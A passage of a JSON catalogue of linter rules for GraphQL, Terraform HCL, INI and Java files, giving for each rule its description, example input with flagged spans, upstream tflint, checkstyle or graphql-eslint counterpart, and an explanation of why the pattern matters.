      "default_level": "error",
      "description": "Reports two operations of a document with the same name, within one file.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "query A { a }\nquery A { b }\nquery B { c }\nfragment F on T { a }\nfragment F on T { b }\n",
        "language": "graphql",
        "other_lines": [
          5
        ],
        "spans": [
          {
            "column": 7,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "unique-operation-name",
      "languages": [
        "graphql"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "unique-operation-name",
          "note": "Not checked across files.",
          "partial": true,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/unique-operation-name"
        }
      ],
      "why": "A server cannot tell which operation a request with that name runs, and tools that key on the name (caches, persisted queries, generated code) collide.\n\nTo fix, rename one of them."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `//` comment where `#` is the convention. The fix writes `#`.",
      "example": {
        "config": null,
        "fixed": "# old style\n# fine\nx = 1 # trailing\n/* block */\n",
        "input": "// old style\n# fine\nx = 1 // trailing\n/* block */\n",
        "language": "hcl",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 2,
            "line": 1
          },
          {
            "column": 7,
            "length": 2,
            "line": 3
          }
        ]
      },
      "fix": "safe",
      "id": "comment-syntax",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "terraform_comment_syntax",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_comment_syntax.md"
        }
      ],
      "why": "Both forms are valid in the language, but the style that the Terraform documentation and the formatter use is `#`. Comments in one style are easy to search for and look the same in every module."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports a list item read with the legacy dot syntax, `a.0`. The fix writes `a[0]`.",
      "example": {
        "config": null,
        "fixed": "resource \"a\" \"b\" {\n  name = var.name\n  tags = [var.a, \"x-${var.b}\", \"${var.c}${var.d}\"]\n  id   = var.e\n  raw  = \"${~ var.f ~}\"\n  id2  = aws_instance.web[0].id\n  all  = aws_instance.web[0].id\n  ids  = aws_instance.web.*.id\n  num  = local.versions[1][2]\n  key  = { (var.k) = 1 }\n  sum  = 1 + \"${var.n}\"\n}\n",
        "input": "resource \"a\" \"b\" {\n  name = \"${var.name}\"\n  tags = [\"${var.a}\", \"x-${var.b}\", \"${var.c}${var.d}\"]\n  id   = \"${ var.e }\"\n  raw  = \"${~ var.f ~}\"\n  id2  = aws_instance.web.0.id\n  all  = aws_instance.web[0].id\n  ids  = aws_instance.web.*.id\n  num  = local.versions.1.2\n  key  = { \"${var.k}\" = 1 }\n  sum  = 1 + \"${var.n}\"\n}\n",
        "language": "hcl",
        "other_lines": [
          2,
          3,
          4,
          10,
          11
        ],
        "spans": [
          {
            "column": 26,
            "length": 2,
            "line": 6
          },
          {
            "column": 24,
            "length": 2,
            "line": 9
          },
          {
            "column": 26,
            "length": 2,
            "line": 9
          }
        ]
      },
      "fix": "safe",
      "id": "deprecated-index",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_deprecated_index",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_deprecated_index.md"
        }
      ],
      "why": "The dot form is a deprecated spelling of the index. Newer versions of the language reject it or treat it differently, and the bracket form works with every expression."
    },
    {
      "category": "style",
      "default_level": "warn",
      "description": "Reports a string that is one interpolation, `\"${var.a}\"`, where the expression alone does. The fix writes the expression. It is not reported in Nomad job files (`.nomad`, `.nomad.hcl`), whose agent fills those in at run time.",
      "example": {
        "config": null,
        "fixed": "resource \"a\" \"b\" {\n  name = var.name\n  tags = [var.a, \"x-${var.b}\", \"${var.c}${var.d}\"]\n  id   = var.e\n  raw  = \"${~ var.f ~}\"\n  id2  = aws_instance.web[0].id\n  all  = aws_instance.web[0].id\n  ids  = aws_instance.web.*.id\n  num  = local.versions[1][2]\n  key  = { (var.k) = 1 }\n  sum  = 1 + \"${var.n}\"\n}\n",
        "input": "resource \"a\" \"b\" {\n  name = \"${var.name}\"\n  tags = [\"${var.a}\", \"x-${var.b}\", \"${var.c}${var.d}\"]\n  id   = \"${ var.e }\"\n  raw  = \"${~ var.f ~}\"\n  id2  = aws_instance.web.0.id\n  all  = aws_instance.web[0].id\n  ids  = aws_instance.web.*.id\n  num  = local.versions.1.2\n  key  = { \"${var.k}\" = 1 }\n  sum  = 1 + \"${var.n}\"\n}\n",
        "language": "hcl",
        "other_lines": [
          6,
          9
        ],
        "spans": [
          {
            "column": 10,
            "length": 13,
            "line": 2
          },
          {
            "column": 11,
            "length": 10,
            "line": 3
          },
          {
            "column": 10,
            "length": 12,
            "line": 4
          },
          {
            "column": 12,
            "length": 10,
            "line": 10
          },
          {
            "column": 14,
            "length": 10,
            "line": 11
          }
        ]
      },
      "fix": "safe",
      "id": "deprecated-interpolation",
      "languages": [
        "hcl"
      ],
      "options": [
        {
          "default": [],
          "description": "Kinds of the parent (for example `Tuple`) whose strings are left alone. `Tuple`: only a string that is a whole argument is reported and unwrapped, as `terraform fmt` does.",
          "name": "except_in",
          "type": "list"
        }
      ],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_deprecated_interpolation",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_deprecated_interpolation.md"
        }
      ],
      "why": "Since Terraform 0.12 an expression can stand alone, and wrapping it in a string turns the value into a string, which loses its type (a list or a number becomes text) and adds noise."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `output` block with no `description` argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "variable \"plain\" {}\n\nvariable \"full\" {\n  type        = string\n  description = \"Documented.\"\n  validation {\n    condition     = length(var.full) > 0\n    error_message = \"empty\"\n  }\n}\n\noutput \"bare\" {\n  value = 1\n}\n\noutput \"documented\" {\n  value       = 2\n  description = \"Documented.\"\n}\n",
        "language": "hcl",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "documented-outputs",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "terraform_documented_outputs",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_documented_outputs.md"
        }
      ],
      "why": "The description is what a user of the module reads in the registry and in generated documentation. An output without one has to be understood from the name and the expression.\n\nTo fix, add `description`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `variable` block with no `description` argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "variable \"plain\" {}\n\nvariable \"full\" {\n  type        = string\n  description = \"Documented.\"\n  validation {\n    condition     = length(var.full) > 0\n    error_message = \"empty\"\n  }\n}\n\noutput \"bare\" {\n  value = 1\n}\n\noutput \"documented\" {\n  value       = 2\n  description = \"Documented.\"\n}\n",
        "language": "hcl",
        "other_lines": [
          12
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "documented-variables",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "terraform_documented_variables",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_documented_variables.md"
        }
      ],
      "why": "The description is what the person who uses the module reads to know what to put in the variable. Without it, they have to read the code that uses it.\n\nTo fix, add `description`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a comparison with an empty list, `x == []` or `x != []`. It is false for an empty set or a tuple of another type.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = var.l == []\nb = var.l != []\nc = [] == var.l\nd = length(var.l) == 0\ne = var.l == [] && var.m\nf = var.l == [1]\n",
        "language": "hcl",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 11,
            "line": 1
          },
          {
            "column": 5,
            "length": 11,
            "line": 2
          },
          {
            "column": 5,
            "length": 9,
            "line": 3
          },
          {
            "column": 5,
            "length": 11,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "empty-list-equality",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_empty_list_equality",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_empty_list_equality.md"
        }
      ],
      "why": "`[]` is a tuple, and Terraform compares values of different types as not equal, so the comparison is false for an empty set or an empty list of another type, and the condition silently does the wrong thing.\n\nTo fix, compare the length: `length(x) == 0`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a provider that a `resource`, `data` or `provider` block uses and that no `required_providers` entry of the module names, on the last such block of the provider, and a `required_providers` entry without a `version`. The built-in `terraform` provider is exempt, and override files do not count.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "terraform {\n  backend \"s3\" {}\n  required_providers {\n    aws = { source = \"hashicorp/aws\", version = \"~> 5\" }\n    gcp = { source = \"hashicorp/google\" }\n  }\n}\n\nresource \"aws_instance\" \"a\" {}\nresource \"gcp_thing\" \"b\" {}\nresource \"azure_thing\" \"c\" {}\nresource \"azure_thing\" \"d\" {}\nresource \"terraform_data\" \"e\" {}\n",
        "language": "hcl",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 5
          },
          {
            "column": 1,
            "length": 8,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "required-providers",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_required_providers",
          "note": "Does not check each provider used for a `source` and a `version`, which needs the resources of the other files of the module.",
          "partial": true,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_required_providers.md"
        }
      ],
      "why": "Without the declaration Terraform picks the source of the provider by the default for its name, and without a version it takes the newest, so two runs of the same code can use different providers and a new major version can break the module with no change in the code.\n\nTo fix, add the provider to `required_providers` with a `source` and a version constraint."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a module none of whose `terraform` blocks sets `required_version`, on the `terraform` block, or on the start of `main.tf` when the module has no such block. Override files do not count.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "terraform {\n  backend \"s3\" {}\n  required_providers {\n    aws = { source = \"hashicorp/aws\", version = \"~> 5\" }\n    gcp = { source = \"hashicorp/google\" }\n  }\n}\n\nresource \"aws_instance\" \"a\" {}\nresource \"gcp_thing\" \"b\" {}\nresource \"azure_thing\" \"c\" {}\nresource \"azure_thing\" \"d\" {}\nresource \"terraform_data\" \"e\" {}\n",
        "language": "hcl",
        "other_lines": [
          5,
          12
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "required-version",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_required_version",
          "note": "A module with no `terraform` block at all is not reported (it needs the other files of the module).",
          "partial": true,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_required_version.md"
        }
      ],
      "why": "Terraform language features and the state format change between versions, and a state file written by a newer version cannot be used by an older one. A constraint makes an incompatible version fail at the start with a clear message instead of in the middle of an apply.\n\nTo fix, set `required_version` in a `terraform` block."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `variable` block with no `type` argument.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "variable \"plain\" {}\n\nvariable \"full\" {\n  type        = string\n  description = \"Documented.\"\n  validation {\n    condition     = length(var.full) > 0\n    error_message = \"empty\"\n  }\n}\n\noutput \"bare\" {\n  value = 1\n}\n\noutput \"documented\" {\n  value       = 2\n  description = \"Documented.\"\n}\n",
        "language": "hcl",
        "other_lines": [
          12
        ],
        "spans": [
          {
            "column": 1,
            "length": 8,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "typed-variables",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_typed_variables",
          "partial": false,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_typed_variables.md"
        }
      ],
      "why": "Without a type any value is accepted and converted when it is used, so a wrong value (a string where a list was meant) is found late, with an error far from the variable. A type checks the value when it is given and documents what is expected.\n\nTo fix, add `type`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a variable, local value, data source or provider alias that no file of the module (the `.tf` files of the directory) refers to. Override files declare nothing of their own. A module with `.tf.json` files, a file that does not parse or one that cannot be read is not judged.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "variable \"used\" {}\nvariable \"unused\" {}\nlocals {\n  used_local   = var.used\n  unused_local = 1\n}\ndata \"aws_ami\" \"used\" {}\ndata \"aws_ami\" \"unused\" {}\noutput \"x\" {\n  value = \"${local.used_local}-${data.aws_ami.used.id}\"\n}\nprovider \"aws\" {\n  alias = \"west\"\n}\nprovider \"aws\" {\n  alias = \"east\"\n}\nresource \"aws_instance\" \"a\" {\n  provider = aws.east\n}\n",
        "language": "hcl",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 8,
            "line": 2
          },
          {
            "column": 3,
            "length": 12,
            "line": 5
          },
          {
            "column": 16,
            "length": 8,
            "line": 8
          },
          {
            "column": 1,
            "length": 8,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "unused-declarations",
      "languages": [
        "hcl"
      ],
      "options": [],
      "presets": [
        "hcl/tflint-recommended"
      ],
      "upstream": [
        {
          "id": "terraform_unused_declarations",
          "note": "Reads one file: a declaration used only by another file of the module is reported.",
          "partial": true,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_unused_declarations.md"
        }
      ],
      "why": "An unused declaration is left over from a change. A variable that nothing reads misleads the user of the module, who sets it and sees no effect, and an unused data source still makes a request on each plan.\n\nTo fix, delete it."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `[section]` header with no settings under it. Comments do not count as settings.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "[core]\nbare = false\n\n[empty]\n\n[comment-only]\n; nothing here\n\n[user]\nname = a\n",
        "language": "ini",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 4
          },
          {
            "column": 1,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "empty-section",
      "languages": [
        "ini"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "It usually is what is left when the last setting of a section was removed. A reader of the file wonders if the section matters, and some programs treat an empty section differently from a missing one.\n\nTo fix, delete the header, or add the setting."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a name with two or more capital letters in a row (`XMLParser`), for type, method, parameter, field and local variable names that match the `names` option. Names that match `ignored` (constants and overridden methods by default) are not reported. With an empty `names` the rule checks nothing.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class XMLParser {\n  static final int MAX_SIZE = 1;\n  int fooBAR;\n  int goodName;\n  int endsWithB;\n\n  void getURL(int httpID) {\n    int myURL = 1;\n    int fine = 2;\n  }\n\n  @Override\n  public void toJSON() {}\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 9,
            "line": 1
          },
          {
            "column": 7,
            "length": 6,
            "line": 3
          },
          {
            "column": 8,
            "length": 6,
            "line": 7
          },
          {
            "column": 19,
            "length": 6,
            "line": 7
          },
          {
            "column": 9,
            "length": 5,
            "line": 8
          }
        ]
      },
      "fix": null,
      "id": "abbreviation-in-name",
      "languages": [
        "java"
      ],
      "options": [
        {
          "default": "",
          "description": "Regular expression a type, method, parameter, field or local variable name must match; empty: not checked.",
          "name": "names",
          "type": "string"
        },
        {
          "default": "^.*$",
          "description": "Regular expression matched for the names that are left out (constants, overridden methods): every name by default.",
          "name": "ignored",
          "type": "string"
        }
      ],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "AbbreviationAsWordInName",
          "note": "Only more than one capital in a row; no allowed length or ignore options.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/abbreviationaswordinname.html#AbbreviationAsWordInName"
        }
      ],
      "why": "A run of capitals hides where one word ends and the next starts: `XMLHTTPRequest` does not show if it is XML HTTP or XMLH TTP, and tools that split names into words get it wrong. Treating an abbreviation as a word (`XmlHttpRequest`) keeps the name readable and its camel case regular.\n\nTo fix, write the abbreviation as a word: `XmlParser`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an array creation in which the `{` of the initializer follows the `]` right away (`new int[]{1}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  Object a = new int[]{1};\n  Object b = new int[] {1};\n  Object c = new String[]{\"a]{\"};\n  Object d = new int[2];\n  int[] e = {1};\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 14,
            "length": 12,
            "line": 2
          },
          {
            "column": 14,
            "length": 19,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "array-bracket-space",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "ArrayBracketNoWhitespace",
          "note": "Only the `{` of an array creation right after the `]`.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/whitespace/arraybracketnowhitespace.html#ArrayBracketNoWhitespace"
        }
      ],
      "why": "The space between the brackets and the braces is the convention of the Java code style guides, and it separates the type from the initializer so that `new int[] {1}` reads as two parts.\n\nTo fix, put a space between `]` and `{`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a variable or parameter that puts the array brackets after the name (`int a[]`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  int a[], b;\n  int[] c;\n\n  void f(String s[], String[] t, int... u) {\n    int d[] = new int[1];\n  }\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 3,
            "line": 2
          },
          {
            "column": 10,
            "length": 10,
            "line": 5
          },
          {
            "column": 9,
            "length": 16,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "array-type-style",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "ArrayTypeStyle",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/misc/arraytypestyle.html#ArrayTypeStyle"
        }
      ],
      "why": "In Java the brackets are part of the type, and `int[] a` says it at the start. The C form is allowed for compatibility and makes the type hard to read, and `int[] a, b[]` declares two different types in one line.\n\nTo fix, write the brackets after the type: `int[] a`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a string or character literal that writes a visible character as a `\\uXXXX` escape when the line has no trailing comment. Escapes of control, space and format characters are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  String a = \"\\u00e9\";\n  String b = \"\\u00e9\"; // c with acute\n  String c = \"\\u0009\\u200b\";\n  char d = '\\u2603';\n  String e = \"plain\";\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 15,
            "length": 6,
            "line": 2
          },
          {
            "column": 13,
            "length": 6,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "avoid-unicode-escape",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "AvoidEscapedUnicodeCharacters",
          "note": "Printable-escape rule with control characters and tail comments allowed; no options.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/misc/avoidescapedunicodecharacters.html#AvoidEscapedUnicodeCharacters"
        }
      ],
      "why": "The escape hides the character: the reader has to decode `é` to know it is an `é`, and cannot see a typo in the code. The source file is UTF-8, so the character itself is safe. An escape stays useful when a comment explains it, which is why a comment on the line allows it.\n\nTo fix, write the character itself, or add a trailing comment that says what it is."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a line of a Javadoc comment, after the first, that does not start with an asterisk. Empty lines are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/**\n * Fine.\n */\nclass A {\n  /**\n     No star here.\n\n   * Star again.\n   */\n  void f() {}\n\n  /** One line. */\n  void g() {}\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 6,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "doc-asterisk",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "JavadocMissingLeadingAsterisk",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/javadoc/javadocmissingleadingasterisk.html#JavadocMissingLeadingAsterisk"
        }
      ],
      "why": "Javadoc strips the leading `*` of each line, so a line without one is kept with its indentation, and the comment renders differently from how it reads in the source. The asterisks also show where the comment ends.\n\nTo fix, start the line with `*`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports Javadoc paragraphs that do not use `<p>` in the usual way: a `<p>` must stand right before the first word of its paragraph (no space after it) and after an empty line, an empty line between paragraphs must be followed by `<p>`, and the comment must not start with `<p>`. Text inside `<pre>`, `<ul>` and the like, and after the first block tag, is not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/**\n * Good.\n *\n * <p>Fine paragraph.\n *\n * <p> Space after.\n *\n * Missing tag.\n * <p>Not after an empty line.\n *\n * <ul>\n *   <li>item\n * </ul>\n *\n * {@snippet :\n * code();\n *\n * more();\n * }\n *\n * <pre>\n *\n * kept\n * </pre>\n *\n * @param x text\n *\n * after the tags\n */\nclass A {\n  /** <p>First thing. */\n  void f() {}\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 3,
            "line": 6
          },
          {
            "column": 3,
            "length": 1,
            "line": 7
          },
          {
            "column": 4,
            "length": 3,
            "line": 9
          },
          {
            "column": 7,
            "length": 3,
            "line": 31
          }
        ]
      },
      "fix": null,
      "id": "doc-paragraph",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "JavadocParagraph",
          "note": "`<p>` and empty-line placement; not `allowNewlineParagraph`.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/javadoc/javadocparagraph.html#JavadocParagraph"
        }
      ],
      "why": "Javadoc ignores empty lines, so paragraphs not marked with `<p>` run together in the generated page. A `<p>` that is misplaced adds an empty paragraph or starts a paragraph in the wrong place.\n\nTo fix, put `<p>` directly before the first word of each paragraph after the first."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a Javadoc comment that does not start with a summary: the first sentence must end with a period followed by a blank or the end of the text, and must not start with a fragment that matches the `forbidden_fragments` option. A comment that is `{@inheritDoc}` or `{@return ...}` needs no summary.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/** Good summary. Then more */\nclass A {\n  /** No period */\n  void a() {}\n\n  /** lowercase start. */\n  void b() {}\n\n  /**\n   * Two lines\n   * of summary.\n   */\n  void c() {}\n\n  /** {@inheritDoc} */\n  void d() {}\n\n  /** Version 1.5 is fine. */\n  void e() {}\n\n  /**\n   * @param x only a tag\n   */\n  void f() {}\n\n  /** A {@code Foo} is a thing. */\n  void g() {}\n\n  /** Ends with a question? */\n  void h() {}\n}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 3,
            "line": 3
          },
          {
            "column": 3,
            "length": 3,
            "line": 6
          },
          {
            "column": 3,
            "length": 3,
            "line": 21
          },
          {
            "column": 3,
            "length": 3,
            "line": 26
          },
          {
            "column": 3,
            "length": 3,
            "line": 29
          }
        ]
      },
      "fix": null,
      "id": "doc-summary",
      "languages": [
        "java"
      ],
      "options": [
        {
          "default": "",
          "description": "Regular expression a summary must not match at its start; empty: no check.",
          "name": "forbidden_fragments",
          "type": "string"
        }
      ],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "SummaryJavadoc",
          "note": "Period and forbidden fragments; the summary is read from the lines of the comment, not from parsed HTML.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/javadoc/summaryjavadoc.html#SummaryJavadoc"
        }
      ],
      "why": "The first sentence is what the generated index and the IDE hover show, so a comment that does not start with a complete sentence gives a poor summary or one cut at the wrong place.\n\nTo fix, begin the comment with a sentence that ends with a period."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a line that continues a block tag (`@param x`) and is indented by fewer than `indent` blanks after the asterisk (5 by default). Lines that start HTML and lines inside `<pre>` and the like are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "/**\n * Summary.\n *\n * @param a first\n * continued with one blank\n * @param b first\n *     continued with five blanks\n * @param c first\n *    four blanks are not enough\n * @return x\n *   <pre>\n *   html is left alone\n *   </pre>\n */\nclass A {}\n",
        "language": "java",
        "other_lines": [],
        "spans": [
          {
            "column": 4,
            "length": 1,
            "line": 5
          },
          {
            "column": 7,
            "length": 1,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "doc-tag-indent",
      "languages": [
        "java"
      ],
      "options": [
        {
          "default": 5,
          "description": "Blanks after the asterisk that a continuation line needs.",
          "name": "indent",
          "type": "int"
        }
      ],
      "presets": [
        "java/google"
      ],
      "upstream": [
        {
          "id": "JavadocTagContinuationIndentation",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/javadoc/javadoctagcontinuationindentation.html#JavadocTagContinuationIndentation"
        }
      ],
      "why": "The indent shows that a line belongs to the tag above it: without it a long `@param` description reads as a paragraph of the comment.\n\nTo fix, indent the continuation lines."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a lone `;` that is the body of an `if` or a loop, such as `while (x);`, on the `;`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  public boolean equals(Object o) {\n    return o == \"s\" || o.toString() != \"t\" || o.hashCode() == 1;\n  }\n\n  boolean ok(boolean done, String s) {\n    long big = 10l;\n    long fine = 10L;\n    if (done == true || done != false) {\n      return s.equals(\"a\");\n    }\n    while (done);\n    return false;\n  }\n\n  void f(int x) {\n    try {\n      g();\n    } catch (Exception e) {\n    }\n    try {\n      g();\n    } catch (Exception e) {\n      // ignored\n    }\n    switch (x) {\n      case 1:\n        g();\n    }\n    switch (x) {\n      case 1:\n        g();\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nclass B {\n  public boolean equals(Object o) {\n    return true;\n  }\n\n  public int hashCode() {\n    return 1;\n  }\n}\n",
        "language": "java",
        "other_lines": [
          2,
          3,
          7,
          9,
          19,
          26
        ],
        "spans": [
          {
            "column": 17,
            "length": 1,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "empty-statement",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "EmptyStatement",
          "note": "Only the body of an `if` or a loop.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/emptystatement.html#EmptyStatement"
        }
      ],
      "why": "The semicolon ends the statement, so the code that follows on the next line is not the body of the loop, whatever its indentation says. It is a typical typo, and the loop either does nothing or never ends.\n\nTo fix, delete the `;`, or write `{}` if an empty body is meant."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a class that declares `boolean equals(Object)` and does not declare `hashCode()`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "class A {\n  public boolean equals(Object o) {\n    return o == \"s\" || o.toString() != \"t\" || o.hashCode() == 1;\n  }\n\n  boolean ok(boolean done, String s) {\n    long big = 10l;\n    long fine = 10L;\n    if (done == true || done != false) {\n      return s.equals(\"a\");\n    }\n    while (done);\n    return false;\n  }\n\n  void f(int x) {\n    try {\n      g();\n    } catch (Exception e) {\n    }\n    try {\n      g();\n    } catch (Exception e) {\n      // ignored\n    }\n    switch (x) {\n      case 1:\n        g();\n    }\n    switch (x) {\n      case 1:\n        g();\n        break;\n      default:\n        break;\n    }\n  }\n}\n\nclass B {\n  public boolean equals(Object o) {\n    return true;\n  }\n\n  public int hashCode() {\n    return 1;\n  }\n}\n",
        "language": "java",
        "other_lines": [
          3,
          7,
          9,
          12,
          19,
          26
        ],
        "spans": [
          {
            "column": 3,
            "length": 6,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "equals-hash-code",
      "languages": [
        "java"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "EqualsHashCode",
          "note": "Only `equals` without `hashCode`, not the reverse.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/coding/equalshashcode.html#EqualsHashCode"
        }
      ],
      "why": "Objects that are equal must have the same hash code. Without an own `hashCode` the one of `Object` is used, so two equal objects land in different buckets and a `HashMap` or `HashSet` does not find them.\n\nTo fix, declare `hashCode()` from the same fields as `equals`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a string or character literal that writes a backspace, tab, line feed, form feed, carriage return, quote or backslash as an octal or unicode escape (`\\u0009`).",
      "example": {
        "config": null,
        "fixed": null,
